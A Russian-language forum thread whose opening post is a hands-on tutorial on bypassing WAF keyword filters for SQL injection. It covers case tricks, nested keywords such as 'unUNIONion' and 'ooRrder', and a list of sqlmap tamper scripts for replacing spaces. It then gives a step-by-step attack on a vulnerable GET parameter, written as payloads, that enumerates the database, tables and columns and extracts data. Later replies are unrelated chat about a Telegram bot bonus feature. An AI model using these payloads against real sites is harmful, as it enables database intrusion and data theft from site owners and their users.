21tw21 0 Опубликовано: 12 мар 2023 (изменено) Для начало стоит понимать, что WAF это некое средство защиты для сайта, которое проверяет входящие запросы и фильтрует их. Также разработчик может поставить свои фильтры с помощью PHP кода и регулярных выражений. То-есть в чем задача разработчика, он знает, что хакер использует такие ключевые выражения как: union, select, database, or, and и тому подобное. Проще всего показать суть задачи разраба в текстовом редакторе... То есть заменяем эти слова на пустоту без учета регистра. Получается вот такая "полезная" нагрузка , которая не сработает. Но представим, что разработчик кривой и забыл указать, что без учета регистра заменять. То есть вот так! Тогда мы можем просто написать uNion Select Database, ВЕДЬ SQL язык регистронезавимый. Давайте перейдем к случаю, если регистр отсутствует. Тогда мы можем обойти этот фильтр.То есть , что происходит удаляются слова , верно ? Значит мы можем по сути разбить одно ключевое слово на два и всунуть между ними полное слово. Тогда полное слово заменится на пустоту, произойдет конкатенация ( объединение) строк и запрос сработает. То есть например вот так: И вот что будет: То есть запрос сработает. Мы обошли фильтр:) Полезно знать также аналог дефолтного синтаксиса вашей СУБД ( у меня MySql) например or = || and = %26%26 -- - = ;0x00 database = schema И если наш запрос не срабатывает, то просто меняем синтаксис нашего запроса. Но что делать, если разраб просто запретит использовать пробелы. По сути мы можем использовать sqlmap tamper для обхода WAF, просто подобрав нужный с помощью софта atlas или любого другого, но они не совсем корректно показывают какие тамперы срабатывают, а какие нет. Поэтому нужно учиться самостоятельно. Аналоги пробелов: appendnullbyte.py Function: Space ==> %00 bluecoat.py Function: Space ==> %09 halfversionedmorekeywords.py Function: Space ==> /*!0 space2comment.py Function: Space ==> /**/ space2dash.py Function: Space==> -nVNaVoPYeva% 0A Platform:MSSQL、SQLite space2mssqlblank.py Function: Space ==> %23%0A Platform: Mssql、Mysql space2mysqlblank.py Function: Space ==> %2B, %0D, %0C Platform: Mysql5.1 space2mysqldash.py Function: Space==> –%0A Platform: Mssql、Mysql Вообщем вариантом куча. Приступим к практике. Практика Допустим есть вот такой сайтик и уязвимость в GET параметре. Введем одинарную кавычку, чтобы убедиться в этом:) Попробуем определить кол-во колонок и заодно обрамление , кто не знает , что такое обрамление читайте предыдущую мою статью.Вводим в уязвимый параметр: 'order by 1,2,3,4,5,6,7,8 -- - Можно больше цифр. Что я могу сказать, что блокируется оператор or. Попробуем поменять регистр на Or. Опять мимо. Значит делаем загрузку по-другому 'ooRrder by 1,2,3,4,5,6,7,8 -- - Мы обошли фильтр, но полезная нагрузка не отработала, т.к обрамление подобрано неверно. Меняем запрос на: ') ooRrder by 1,2,3,4,5,6,7,8 -- - Отлично.Что мы узнали? Во первых для всех последующих запросов обрамление будет ') И бд содержит одну колонку, а также блокируется оператор or. Теперь давайте определим название бд. Попробуем вот так: ') union select database() -- - union тоже блочится. Меняем запрос: ') unUNIONion select database() -- - Попробуем определить название таблиц. Как мы знаем union и or ЗАПРЕЩЕНЫ. Поэтому составляем вот такой запрос: ') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' -- - Если таблиц больше одной , то добавляем limit , Т.К одну таблицу мы получили , то вторую можем получить вот так: ') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' limit 1,1 -- - Теперь можно получить и название этой одной колонки... ') unUNIONion select column_name from infoORrmation_schema.columns where table_name = 'oORrbuz' -- - У нас есть название бд, таблицы, колонки. Теперь можно и забрать содержимое: ') unUNIONion select id from Grisha.oORrbuz limit 0,1 -- - Что мы узнали для техники UNION: 1) С помощью order by МЫ определяем кол-во колонок в запросе, которые будут использоваться, а в таблице их может быть хоть 100. 2) Кол-во колонок должно совпадать для UNION , если два , то два меньше или больше нельзя, будет ошибка. 3) UNION имеет непредсказуемый вывод и может меняться параметр где угодно. Изменено 12 мар 2023 пользователем 21tw21 0 Поделиться сообщением Ссылка на сообщение
Yami 0 Опубликовано: 14 мар 2023 13.03.2023 в 09:34, Nagibator_1488 сказал: сылка мертвая Нет 0 Поделиться сообщением Ссылка на сообщение
Шымкент 0 Опубликовано: 15 мар 2023 Кто нибудь подскажет как добавить в бота ежедневный бонус который можно получить один раз в день, например +20 рублей на баланс, но при условии что этот бонус можно получить только если на балансе 0 рублей. Python, aiogram 0 Поделиться сообщением Ссылка на сообщение
kreepton666 0 Опубликовано: 15 мар 2023 9 часов назад, Шымкент сказал: Кто нибудь подскажет как добавить в бота ежедневный бонус который можно получить один раз в день, например +20 рублей на баланс, но при условии что этот бонус можно получить только если на балансе 0 рублей. Python, aiogram Библиотека таймер нужна и сделать проверку на баланс если баланс больше 0 то не может, а если 0 то он даёт 0 Поделиться сообщением Ссылка на сообщение
Nagibator_1488 1 Опубликовано: 16 мар 2023 13 часов назад, kreepton666 сказал: Библиотека таймер нужна и сделать проверку на баланс если баланс больше 0 то не может, а если 0 то он даёт Через sqlite выдаешь баланс 0 Поделиться сообщением Ссылка на сообщение
Itt777 1 Опубликовано: 16 мар 2023 15.03.2023 в 11:06, Шымкент сказал: Кто нибудь подскажет как добавить в бота ежедневный бонус который можно получить один раз в день, например +20 рублей на баланс, но при условии что этот бонус можно получить только если на балансе 0 рублей. Python, aiogram Могу сделать за копейку 0 Поделиться сообщением Ссылка на сообщение
HostDaddy 2 Опубликовано: 17 мар 2023 15 часов назад, Itt777 сказал: Могу сделать за копейку Хоти. 0 Поделиться сообщением Ссылка на сообщение